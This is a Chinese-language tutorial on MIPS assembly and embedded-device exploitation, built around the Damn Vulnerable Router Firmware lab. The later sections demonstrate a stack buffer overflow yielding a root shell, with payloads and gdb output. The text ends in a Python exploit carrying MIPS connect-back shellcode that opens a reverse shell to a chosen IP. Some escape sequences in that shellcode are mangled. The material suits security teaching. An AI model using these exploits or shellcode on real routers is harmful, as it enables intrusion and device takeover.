| jr ra | // Jump to the address loaded into $ra ($ra will point to the mov sp,fp instruction in main JAL = PC + 8 into $ra)
| nop |
=------------------------------=
请确保传递给函数的参数数量要大于可用参数寄存器的数量。例如，MIPS使用了$a0 – $a3，那么就让我们修改上面所写的代码，使其拥有4个以上的参数。
#include <stdio.h>
// Function that calls another function with some arguments.
// Passing more than 4 arguments to see what happens
// by b1ack0wl
void main(){
int a = 0;
int b = 1;
int c = 2;
int d = 3;
int e = 4;
int f = 5;
int g = 6;
int h = 7;
int i = 8;
int j = 9;
pass_args_to_me(a,b,c,d,e,f,g,h,i,j);
}
int pass_args_to_me(int a, int b, int c ,int d, int e, int f, int g ,int h, int i, int j){
return (a+b+c+d+e+f+g+h+i+j);
}
接下来，就像之前一样，我们使用交叉编译器进行编译。然后将其放入Radare2，以查看编译器生成的内容。
=-------------------------------=
| [0x4003b0] |
| main: |
| (fcn) sym.main 188 |
| addiu sp, sp, -0x60 |
| sw ra, 0x5c(sp) |
| sw fp, 0x58(sp) |
| move fp, sp |
| sw zero, 0x30(fp) | // Initialize int a to 0
| addiu v0, zero, 1 | // Perform (0+1) and store the unsigned result in register $v0
| sw v0, 0x34(fp) | // Store $v0 at this offset (int b = 1)
| addiu v0, zero, 2 | // Perform (0+2) and store the unsigned result in register $v0
| sw v0, 0x38(fp) | // Store $v0 at this offset (int c = 2)
| addiu v0, zero, 3 | // Perform (0+3) and store the unsigned result in register $v0
| sw v0, 0x3c(fp) | // Store $v0 at this offset (int d = 3)
| addiu v0, zero, 4 | // Perform (0+4) and store the unsigned result in register $v0
| sw v0, 0x40(fp) | // Store $v0 at this offset (int e = 4)
| addiu v0, zero, 5 | // Perform (0+5) and store the unsigned result in register $v0
| sw v0, 0x44(fp) | // Store $v0 at this offset (int f = 5)
| addiu v0, zero, 6 | // Perform (0+6) and store the unsigned result in register $v0
| sw v0, 0x48(fp) | // Store $v0 at this offset (int g = 6)
| addiu v0, zero, 7 | // Perform (0+7) and store the unsigned result in register $v0
| sw v0, 0x4c(fp) | // Store $v0 at this offset (int h = 7)
| addiu v0, zero, 8 | // Perform (0+8) and store the unsigned result in register $v0
| sw v0, 0x50(fp) | // Store $v0 at this offset (int i = 8)
| addiu v0, zero, 9 | // Perform (0+9) and store the unsigned result in register $v0
| sw v0, 0x54(fp) | // Store $v0 at this offset (int j = 9)
| lw v0, 0x40(fp) | /*
| sw v0, 0x10(sp) |
| lw v0, 0x44(fp) |
| sw v0, 0x14(sp) |
| lw v0, 0x48(fp) |
| sw v0, 0x18(sp) | This is all for passing the arguments for the function call but on the stack
| lw v0, 0x4c(fp) | (Variables int e ... int j)
| sw v0, 0x1c(sp) |
| lw v0, 0x50(fp) |
| sw v0, 0x20(sp) |
| lw v0, 0x54(fp) |
| sw v0, 0x24(sp) | */
| lw a0, 0x30(fp) | // Store local variable (int a) into register $a0 ($a0 = 0)
| lw a1, 0x34(fp) | // Store local variable (int b) into register $a0 ($a0 = 1)
| lw a2, 0x38(fp) | // Store local variable (int c) into register $a0 ($a0 = 2)
| lw a3, 0x3c(fp) | // Store local variable (int d) into register $a0 ($a0 = 3)
| jal sym.pass_args_to_me ;[a] | // Call function pass_args_to_me and store $PC+8 into register $ra
| nop | // No instruction performed before the call
| move sp, fp | // Function Exit. Store Address of the Frame Pointer into the Stack Pointer register ($sp)
| lw ra, 0x5c(sp) | // Restore the saved return address from the stack and load it into $ra
| lw fp, 0x58(sp) | // Restore the saved frame pointer address from the stack and load it into $fp (aka $s8)
| addiu sp, sp, 0x60 | // Restore stack offset adjustment
| jr ra | // Jump to the address in $ra
| nop | // No instruction to perform before the jump
=-------------------------------=
所以现在我们知道，如果有超过4个参数被传递给一个函数，那么其他参数将被压入栈中。
### 2.2 函数入口、调用及返回
在MIPS和基于ARM的处理器上，需要注意的一项是专用的返回地址寄存器。无论何时，只要在MIPS上执行“跳转和链接”（Jump and
Link）指令，我们都知道该寄存器的地址是指令指针的当前地址再加上8个字节。其中，8字节的偏移量是由于流水线操作导致的，因为PC+4会在跳转发生之前执行。我们可以编译一个在最终返回到main()之前调用2个或更多函数的应用程序。
#include <stdio.h>
// Function callception!
// This is to analyze what happens when a function calls a function.
// by b1ack0wl
int call_one(); // declaration
int call_two(); // declaration
void main(){
int a = 0;
int b = 1;
call_one(a,b);
}
int call_one(int a, int b){
call_two();
return (a+b);
}
int call_two(){
return 1;
}
所以请记住，一个调用（JAL）会将$PC+8放入返回地址寄存器。但是，如果被调用函数调用了另一个函数，那么$ra寄存器将会被覆盖，此时被调用者的地址也随之丢失。为了防止这种情况，函数在输入时会首先将返回地址保存到栈中。掌握了这些知识后，我们将明白，除了call_two之外的所有函数，都会将返回地址保存到栈中，而call_two函数则不会调用其他任何函数。
=------------------------=
| [0x4003b0] |
| main: | // Start in Main but is called by the libc constructor
| (fcn) sym.main 68 |
| addiu sp, sp, -0x28 |
| sw ra, 0x24(sp) | // Saved Return Address
| sw fp, 0x20(sp) |
| move fp, sp |
| sw zero, 0x18(fp) |
| addiu v0, zero, 1 |
| sw v0, 0x1c(fp) |
| lw a0, 0x18(fp) |
| lw a1, 0x1c(fp) |
| jal sym.call_one ;[a] | // Call (Jump and Link) the function call_one
| nop |
| move sp, fp |
| lw ra, 0x24(sp) |
| lw fp, 0x20(sp) |
| addiu sp, sp, 0x28 |
| jr ra |
| nop |
=------------------------=
|
|
V
=------------------------=
| [0x4003f4] |
| (fcn) sym.call_one 68 | // Function call_one
| addiu sp, sp, -0x20 |
| sw ra, 0x1c(sp) | // Saved Return Address so we can jump back to main()
| sw fp, 0x18(sp) |
| move fp, sp |
| sw a0, 0x20(fp) |
| sw a1, 0x24(fp) |
| jal sym.call_two ;[a] | // Call (Jump and Link) the function call_two
| nop |
| lw v1, 0x20(fp) |
| lw v0, 0x24(fp) |
| addu v0, v1, v0 |
| move sp, fp |
| lw ra, 0x1c(sp) |
| lw fp, 0x18(sp) |
| addiu sp, sp, 0x20 |
| jr ra |
| nop |
=------------------------=
|
|
V
=-----------------------=
| [0x400438] |
| (fcn) sym.call_two 36 | // Function call_two
| addiu sp, sp, -8 |
| sw fp, 4(sp) |
| move fp, sp |
| addiu v0, zero, 1 |
| move sp, fp |
| lw fp, 4(sp) |
| addiu sp, sp, 8 |
| jr ra | // Since call_two does not call any other functions there is no need to save the return address onto the stack.
| nop |
=-----------------------=
因此，只要分析函数入口，我们就可以预测函数是否会调用另一个函数，这在尝试查找位于栈内的内存损坏漏洞时会非常有用。
### 2.3 分支条件
研究人员在分析新体系结构时，最需要了解的内容之一就是处理器如何处理分支。同样，我们将利用C和Radare2来分析这一点。
下面的应用程序，将从argv[1]中得到一个输入，并将其强制转换为int整型，并判断其是否小于5。
#include <stdio.h>
// What if....
// This is to analyze how basic branching works on MIPS
// by b1ack0wl
int main(int argc, char **argv[]){
if (argc < 2 ){
printf("Usage: %s number", argv[0]);
return 1;
}
int a = atoi(argv[1]); // cast argv[1] as an integer
if (a < 5) {
printf("%i is less than 5", a);
}
else{
printf("%i is greater than 5", a);
}
return 0;
}
现在，让我们看看编译器会生成什么来满足我们的条件。
=-------------------------=
| [0x4003b0] |
| main: | // Main Function
| (fcn) sym.main 260 |
| addiu sp, sp, -0x28 |
| sw ra, 0x24(sp) |
| sw fp, 0x20(sp) |
| move fp, sp |
| lui gp, 0x42 |
| addiu gp, gp, 0x680 |
| sw gp, 0x10(sp) |
| sw a0, 0x28(fp) | // Store argc
| sw a1, 0x2c(fp) | // Store argv[]
| lw v0, 0x28(fp) | // Load argc into the $v0 register
| slti v0, v0, 2 | // Set $v0 to 1 if the value of $v0 is less than 2, otherwise set it to 0.
| beqz v0, 0x400418 ;[a] | // If $v0 is equal take the "true" branch. (Branch if Equal to Zero)
| nop |
=-------------------------=
t f
.---------------' '--------------------------------.
| |
| |
=-------------------------= =-----------------------=
| 0x400418 | | 0x4003e4 |
| lw v0, 0x2c(fp) | // load argv[] | lw v0, 0x2c(fp) |
| addiu v0, v0, 4 | // offset +4 | lw v1, (v0) |
| lw v0, (v0) | // load argv[1] | lui v0, 0x40 |
| move a0, v0 | | addiu a0, v0, 0x70f0 | // Load Format String
| lw v0, -0x7fd0(gp) | // $v0 = atoi | move a1, v1 | // Load argv[0]
| move t9, v0 | // $t9 = $v0 | lw v0, -0x7fd4(gp) | // Resolve printf pointer and load it into $v0
| jalr t9 ; atoi | // call atoi | move t9, v0 | // Move $v0 into $t9
| nop | | jalr t9 ; printf | // Call printf which is in $t9 (Jump and Link Register)
| lw gp, 0x10(fp) | | nop |
| sw v0, 0x18(fp) | // int a | lw gp, 0x10(fp) |
| lw v0, 0x18(fp) | // load int a | addiu v0, zero, 1 | // Return 1
| slti v0, v0, 5 | // if < 5 | j 0x40049c ;[d] | // Exit function
| beqz v0, 0x400478 ;[b] | // true if $v0=0 | nop |
| nop | =-----------------------=
=-------------------------= v
t f |
.-------------' '---------------------------------. '--.
| | |
| | |
=-----------------------= =-----------------------= |
| 0x400478 | | 0x400450 | |
| lui v0, 0x40 | | lui v0, 0x40 | | // Block 0x400450 does the same as 0x400478
| addiu a0, v0, 0x7118 | // load format string | addiu a0, v0, 0x7104 | | // Just needs to jump due to where it sits.
| lw a1, 0x18(fp) | // int a printf arg | lw a1, 0x18(fp) | |
| lw v0, -0x7fd4(gp) | // load printf in $v0 | lw v0, -0x7fd4(gp) | |
| move t9, v0 | // move $v0 to $t9 | move t9, v0 | |
| jalr t9 ; printf | // call $t9 (printf) | jalr t9 ; printf | |
| nop | | nop | |
| lw gp, 0x10(fp) | | lw gp, 0x10(fp) | |
=-----------------------= | j 0x400498 ;[c] | | // Jump to Return 0 due to memory position
v | nop | |
| =-----------------------= |
'-----------------.
每当我们进行小于比较时，就能够看到slti指令的用法。由于涉及到大量的比较操作符和类型，条件语句是我们学习新汇编语言过程中耗时最多的部分。在这里，请参考C的引用，以确保已经分析了生成条件分支的所有不同方式。例如，在MIPS中，有一些使用有符号或无符号立即数的条件可能会被滥用。
现在，我们已经看过了一些例子，只要有一个编译器和反汇编工具，我们就可以借助它们来学习任何处理器的结构和汇编方法。如果不这样做，我们恐怕就要通过更加复杂的方式来进行学习，例如阅读处理器的开发者手册，最终设计你自己的汇编器、模拟器和反汇编器。
## 3\. GPL
如果你正在对一个使用开源软件的设备进行分析，该软件很可能会根据通用公共授权（General Public
License）进行许可。如果确实如此，那么开发人员在使用某段代码并编译的同时，必须提供源代码。假如开发人员拒绝提供源代码，那么就可以说是违反了GPL。
考虑到这一点，许多路由器或其他小型设备都使用Linux（或FreeRTOS）、Busybox和其他利用GPL的开源软件。因此，在开始反汇编之前，可以尝试Google搜索短语“$Vendor
Source Code”（厂商源代码）或“$Product Source Code”（产品源代码）。以下是我通过Google搜索找到的一些示例源代码库。
三星（Samsung）开源发布中心：
<http://opensource.samsung.com/reception.do>
搜索条件：Samsung Source Code
华硕（ASUS）RT-AC68U源代码：
<https://www.asus.com/us/Networking/RTAC68U/HelpDesk_Download/>
搜索条件：AC-68U Source Code
贝尔金（Belkin）开源代码中心：
<http://www.belkin.com/us/support-article?articleNum=51238>
搜索条件：Belkin Source Code
TP-Link GPL代码中心：
<http://www.tp-link.com/en/gpl-code.html>
搜索条件：TP-Link Source Code
至此，想必大家已经了解如何轻松借助Google或是你最喜欢的搜索引擎，来查找你正在审计的设备的源代码。
## 4\. 漏洞利用
阅读本节内容，需要掌握利用基于内存损坏（Memory
Corruption）漏洞的基本知识，如果对于这一方面你还不甚了解，请参阅：<http://smashthestack.org/>
。SmashtheStack是开启我x86漏洞研究旅程的地方。
如果你正在研究的是基于MIPS的Linux嵌入式设备，那么在分析目标二进制文件时，已经能够看到以下内容：
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
如你所见，栈和堆区域都被标记为可执行，因此就不用担心NX。即使栈是可执行的，为了实现代码执行，也需要进行ROP。此外，你还会发现，ASLR在大多数设备上都没有成功实现，因此我们就不必最先去寻找信息泄露的漏洞。
### 4.1 模拟
一旦你使用Binwalk来提取固件，你就需要模拟二进制文件来分析崩溃。我个人使用的是静态版本的QEMU，其优点在于可以在解压缩固件的chroot环境中启动。这就使得漏洞利用者可以访问与嵌入式设备所使用相同的libc库，唯一会发生改变的就是libc地址。有时，可能需要创建一个完整的QEMU系统，因为一些主机可能不支持IO调用正在使用的二进制文件，从而会导致崩溃。
如果你使用的是基于Debian的Linux Distro，那么可以通过apt-get来安装QEMU，其命令为：
sudo apt-get install qemu-user-static qemu-system-*
当我们将QEMU安装完成，就需要将二进制文件复制到解压缩固件的根目录下。在本文中，我们将使用DVRF_v03的MIPS Little
Endian模拟器，命令如下：
cp `which qemu-mipsel-static` ./
我们使用可攻破的二进制文件/pwnable/Intro/stack_bof_01并为其制作一个小小的漏洞，然后将我们的有效载荷粘贴到实际的设备上，看看会发生什么。
二进制文件的源代码如下：
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the first BoF exercise!rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/shrn- b1ack0wlrn");
system("/bin/sh -c");
exit(0);
}
这样一来，我们就有了一个简单的基于栈缓冲区的溢出漏洞。我们的目标是执行函数“dat_shell”，但在分析ELF文件时，我们看到了如下内容：
Entry point address: 0x00400630
由于我们的有效载荷中不能有NULL字节，因此我们必须进行部分覆盖。由于这是低字节序（Little
Endian），所以我们可以覆盖3个最低字节，同时保持最高字节设置为NULL。如果架构是高字节序（Big Endian），该方法将不起作用。
为了演示模拟环境的能力，我将制作有效载荷，同时展示如何抓取所有加载的库的模拟地址。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
然后，我们将GDB本地映射到端口1234。
(gdb) target remote 127.0.0.1:1234
127.0.0.1:1234: Connection timed out.
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741
sr lo hi bad cause pc
20000010 0000000a 00000000 41386740 00000000 41386741
fsr fir
00000000 00739300
我们看到PC被设置为A8gA，它位于偏移量204的位置，这也就是说保存的指令是在208字节，然而我们只覆盖这4个字节中的3个。
我们将再次尝试，但最终目标是实现$RA 0x00424242。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
Program received signal SIGTRAP, Trace/breakpoint trap.
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242
sr lo hi bad cause pc
20000010 0000000a 00000000 00424242 00000000 00424242
fsr fir
00000000 00739300
(gdb) disass dat_shell
Dump of assembler code for function dat_shell:
0x00400950 <+0>: lui gp,0x5 /*
0x00400954 <+4>: addiu gp,gp,-31872 Skip over
0x00400958 <+8>: addu gp,gp,t9 */
0x0040095c <+12>: addiu sp,sp,-32 // This is where we need to jump to
0x00400960 <+16>: sw ra,28(sp)
0x00400964 <+20>: sw s8,24(sp)
0x00400968 <+24>: move s8,sp
0x0040096c <+28>: sw gp,16(sp)
由于考虑到应用程序会崩溃，我们希望跳过修改$gp的指令。因此，我们将跳转到0x0040095c。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\x5c\x09\x40'`"
Welcome to the first BoF exercise!
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
甚至，我们可以设置一个断点，以确保我们跳转到函数内正确的偏移值处。
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x767b9a80 in ?? ()
(gdb) break *0x0040095c
Breakpoint 1 at 0x40095c
(gdb) c
Continuing.
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, 0x0040095c in dat_shell ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c
sr lo hi bad cause pc
20000010 0000000a 00000000 00000000 00000000 0040095c
fsr fir
00000000 00739300
(gdb) x/3i $pc
=> 0x40095c <dat_shell+12>: addiu sp,sp,-32
0x400960 <dat_shell+16>: sw ra,28(sp)
0x400964 <dat_shell+20>: sw s8,24(sp)
我们将相同的有效载荷放入嵌入式设备，其漏洞应该同样可以利用。
# cd /
# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\x5c\x09\x40'`"
tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7 @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
id
uid=0(root) gid=0(root)
要在gdb中找到导入的库的地址，需要执行以下操作：
(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x76767b00 0x76774c20 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x766eb710 0x7671c940 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0
0x767b9a80 0x767bd800 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
我们将表中“From”地址减去入口点地址，即可得到基地址（Base Address）。例如，通过执行以下操作，可以找到libc.so.0的基地址：
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x6710 // Address to subtract
libc.so.0 = 0x766eb710 – 0x6710 = 0x766E5000
随后，我们可以利用Radare2反汇编库，并得到指令的偏移量。
**[Radare2]**
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ r2 ./lib/libc.so.0
-- Remember to maintain your ~/.radare_history
[0x00006710]> aaaa
[0x00006710]> s sym.printf
[0x000179e0]> // This is the offset we need to add in order to get to printf
**[GDB]**
(gdb) x/10i 0x766E5000+0x000179e0
0x766fc9e0 <printf>: lui gp,0x7 // Same Instructions as Radare2 (gdb values in decimal vs hex)
0x766fc9e4 <printf+4>: addiu gp,gp,-17424
0x766fc9e8 <printf+8>: addu gp,gp,t9
0x766fc9ec <printf+12>: addiu sp,sp,-40
0x766fc9f0 <printf+16>: sw ra,32(sp)
0x766fc9f4 <printf+20>: sw gp,16(sp)
0x766fc9f8 <printf+24>: lw v0,-30788(gp)
**[Radare2]**
[0x000179e0]> pd
/ (fcn) sym.printf 88
| 0x000179e0 07001c3c lui gp, 7 // Same Instructions as seen in Radare2
| 0x000179e4 f0bb9c27 addiu gp, gp, -0x4410
| 0x000179e8 21e09903 addu gp, gp, t9
| 0x000179ec d8ffbd27 addiu sp, sp, -0x28
| 0x000179f0 2000bfaf sw ra, 0x20(sp)
| 0x000179f4 1000bcaf sw gp, 0x10(sp)
| 0x000179f8 bc87828f lw v0, -0x7844(gp)
一旦我们建立好了自己的ROP链，所需要做的就是替换可以通过cat
/proc/[pid]/maps找到的libc地址。在这里，我们就需要用到基地址。如果ROP链可以在QEMU中正常工作，那么就有99%的可能性能在实际的设备上正常工作。
## 5\. DVRFv0.3 socket_bof解决方案
在我设计DVRF项目的过程中，我就深刻体会到最常见的漏洞就是基于栈的缓冲区溢出漏洞，如果你不熟悉ASM，可能理解起来会有一定的难度。
因为我仍然在学习MIPS汇编，下面的漏洞利用代码大约花费了8小时才完成，然而这个漏洞利用是在QEMU中实现的，随后在Linksys设备上进行。
import socket, sys , base64, struct, string, time
from getopt import getopt as GetOpt, GetoptError
def usage():
print ""
print "Socket_bof solution for DVRF_v03"
print "By: Elvis Collado [b1ack0wl]"
print ""
print "Usage: %s -s source.ip -d dst.ip -p dst.port" % sys.argv[0]
print ""
print "t-s Connect back IP"
print "t-d Destination IP of Socket Listener"
print "t-p Destination Port that socket_bof is listening on"
print "t-h Print this Help Menu"
print ""
sys.exit(1)
try:
(opts, args) = GetOpt(sys.argv[1:], 's:d:p:h')
except GetoptError, e:
usage()
for opt, arg in opts:
if opt == "-s":
connectback_ip = arg.split(".")
for a in connectback_ip:
if int(a) == 0:
print "IP cannot have NULL Bytes :("
sys.exit(1)
IP_1= struct.pack("<B",int(connectback_ip[0]))
IP_2= struct.pack("<B",int(connectback_ip[1]))
IP_3= struct.pack("<B",int(connectback_ip[2]))
IP_4= struct.pack("<B",int(connectback_ip[3]))
elif opt == "-d":
host = arg
elif opt == "-p":
port = int(arg)
else:
continue
try:
#create an AF_INET, STREAM socket (TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
sys.exit();
try:
remote_ip = socket.gethostbyname( host )
except socket.gaierror:
#could not resolve
print 'Hostname could not be resolved. Exiting'
sys.exit()
#Connect to remote server
s.connect((remote_ip , port))
# Shellcode From bowcaster
shellcode = string.join([
"xfaxffx0fx24", # li t7,-6
"x27x78xe0x01", # nor t7,t7,zero
"xfdxffxe4x21", # addi a0,t7,-3
"xfdxffxe5x21", # addi a1,t7,-3
"xffxffx06x28", # slti a2,zero,-1
"x57x10x02x24", # li v0,4183
"x0cx01x01x01", # syscall 0x40404
"xffxffxa2xaf", # sw v0,-1(sp)
"xffxffxa4x8f", # lw a0,-1(sp)
"xfdxffx0fx3c", # lui t7,0xfffd
"x27x78xe0x01", # nor t7,t7,zero
"xe0xffxafxaf", # sw t7,-32(sp)
# Connect back port 8080
"x1fx90x0ex3c", # lui t6,0x901f
"x1fx90xcex35", # ori t6,t6,0x901f
"xe4xffxaexaf", # sw t6,-28(sp)
# IP Address
IP_3+IP_4+"x0ex3c", # lui t6,<ip>
IP_1+IP_2+"xcex35", # ori t6,t6,<ip>
"xe6xffxaexaf", # sw t6,-26(sp)
"xe2xffxa5x27", # addiu a1,sp,-30
"xefxffx0cx24", # li t4,-17
"x27x30x80x01", # nor a2,t4,zero
"x4ax10x02x24", # li v0,4170
"x0cx01x01x01", # syscall 0x40404
"xfdxffx0fx24", # li t7,-3
"x27x78xe0x01", # nor t7,t7,zero
"xffxffxa4x8f", # lw a0,-1(sp)
"x21x28xe0x01", # move a1,t7
"xdfx0fx02x24", # li v0,4063
"x0cx01x01x01", # syscall 0x40404
"xffxffx10x24", # li s0,-1
"xffxffxefx21", # addi t7,t7,-1
"xfaxffxf0x15", # bne t7,s0,68 <dup2_loop>
"xffxffx06x28", # slti a2,zero,-1
"x62x69x0fx3c", # lui t7,0x6962
"x2fx2fxefx35", # ori t7,t7,0x2f2f
"xecxffxafxaf", # sw t7,-20(sp)
"x73x68x0ex3c", # lui t6,0x6873
"x6ex2fxcex35", # ori t6,t6,0x2f6e
"xf0xffxaexaf", # sw t6,-16(sp)
"xf4xffxa0xaf", # sw zero,-12(sp)
"xecxffxa4x27", # addiu a0,sp,-20
"xf8xffxa4xaf", # sw a0,-8(sp)
"xfcxffxa0xaf", # sw zero,-4(sp)
"xf8xffxa5x27", # addiu a1,sp,-8
"xabx0fx02x24", # li v0,4011
"x0cx01x01x01" # syscall 0x40404
], '')
